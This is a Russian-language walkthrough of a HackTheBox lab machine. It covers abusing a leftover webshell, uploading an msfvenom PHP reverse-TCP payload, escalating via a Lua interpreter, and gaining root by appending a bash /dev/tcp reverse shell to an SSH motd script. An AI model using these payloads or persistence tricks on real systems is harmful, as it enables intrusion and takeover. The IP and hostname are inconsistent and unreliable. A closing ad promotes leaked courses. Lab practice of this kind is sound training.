![](https://habrastorage.org/webt/yl/h_/dt/ylh_dtjxf-izjbj7-jdgzlrfxrw.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем чей-то бэкдор, получаем шелл через Luvit и возимся с SSH для LPE.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.174, который я добавляю в /etc/hosts.
10.10.10.181 fatty.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.181 --rate=500
![](https://habrastorage.org/webt/0o/x3/yy/0ox3yy9cyvkjmj6vbmqunlyx0vg.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A traceback.htb -p22,80
![](https://habrastorage.org/webt/xv/j-/4i/xvj-4ihkipnjlhrt3uqo719ahq0.png)
На хосте работают служба SSH и веб сервер. Зайдя на веб сервер ничего не обнаружим, кроме послания.
![](https://habrastorage.org/webt/wb/kv/sv/wbkvsvyshbzkjxsk-wui4h5vjsg.png)
Но находим что-то интересное в исходном коде.
![](https://habrastorage.org/webt/vf/r4/9b/vfr49bgnajeictzvl0658onllfs.png)
Но погуглив данную строку, выходим на эту страницу github.
![](https://habrastorage.org/webt/nz/s0/rd/nzs0rdp-i4yw1harut8gjo56y_u.png)
![](https://habrastorage.org/webt/7x/rw/ve/7xrwve9m29uaynyefgxk7arfvms.png)
Entry Point
Перебирая данные файлы, определяем, что на сервер загружен файл smevk.php.
![](https://habrastorage.org/webt/wx/go/y_/wxgoy_pzzme5uddp1_o80abxfok.png)
В исходном коде на гитхабе находим учетные данные по умолчанию и авторизуемся.
![](https://habrastorage.org/webt/ys/gu/vk/ysguvkiedawu1hfs0y0l4x5qfuq.png)
![](https://habrastorage.org/webt/_o/vl/dc/_ovldcxmnck-hgwhtyeec6fjaqy.png)
Давайте сгенерируем PHP шелл и запустим листенер.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.60 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
![](https://habrastorage.org/webt/na/-y/q9/na-yq93dpjuyk3gik4gftzt0oda.png)
Теперь загрузим шелл и обратимся к нему. Получаем сессию meterpreter.
![](https://habrastorage.org/webt/1z/fs/kv/1zfskvgamsnelr-1hzf1p4ilodg.png)
![](https://habrastorage.org/webt/rw/od/ls/rwodlstwkh4xi7flcvee0a8ria0.png)
USER
В домашней директории пользователя находим файлы и записку к ним.
![](https://habrastorage.org/webt/vm/jg/kb/vmjgkbcsith7sdwpogcd9j11q2q.png)
А также от имени пользователя sysadmin можно запустить lua скрипт.
![](https://habrastorage.org/webt/rn/tw/tp/rntwtp47vbjn1ftem0lg3mluwui.png)
Давайте запустим шелл.
![](https://habrastorage.org/webt/hv/13/ag/hv13aguvpwkbsk2rlddtarl7uve.png)
Для удобства кинем SSH ключ. Для этого сгенерируем пару открытый/закрытый и запишем открытый в authorized_keys.
![](https://habrastorage.org/webt/ft/1n/wr/ft1nwrvrcxi-uvd3nd2thykumja.png)
А теперь подключимся с помощью закрытого и заберем флаг.
![](https://habrastorage.org/webt/s3/mf/i2/s3mfi2fkqh7f6veeptryy1aticw.png)
ROOT
Запустим скрипт базового перечисления LinPEAS. И в отчете найдем интересные файлы для записи.
![](https://habrastorage.org/webt/kh/ua/xp/khuaxpaqkudvslwtscjhro8_3ei.png)
![](https://habrastorage.org/webt/zk/zn/xk/zkznxkpj_rezt_vu4udealbi5yo.png)
Таким образом, файл /etc/update-motd.d/00-header выполняется каждый раз, когда происходит подключение по SSH. Давайте проверим с помощью pspy. Запустим данную утилиту и подключимся по SSH.
![](https://habrastorage.org/webt/es/q5/_u/esq5_ukq1-rptavefxthmirev5q.png)
Давайте допишем реверс шелл в данный файл.
echo “bash -i >& /dev/tcp/10.10.15.60/5432 0>&1” >> /etc/update-motd.d/00-header
Теперь сразу подключимся и увидим обратное подключение на наш хост.
![](https://habrastorage.org/webt/wm/ht/tt/wmhttt2jv_uv3wuwgurkk6bwvee.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.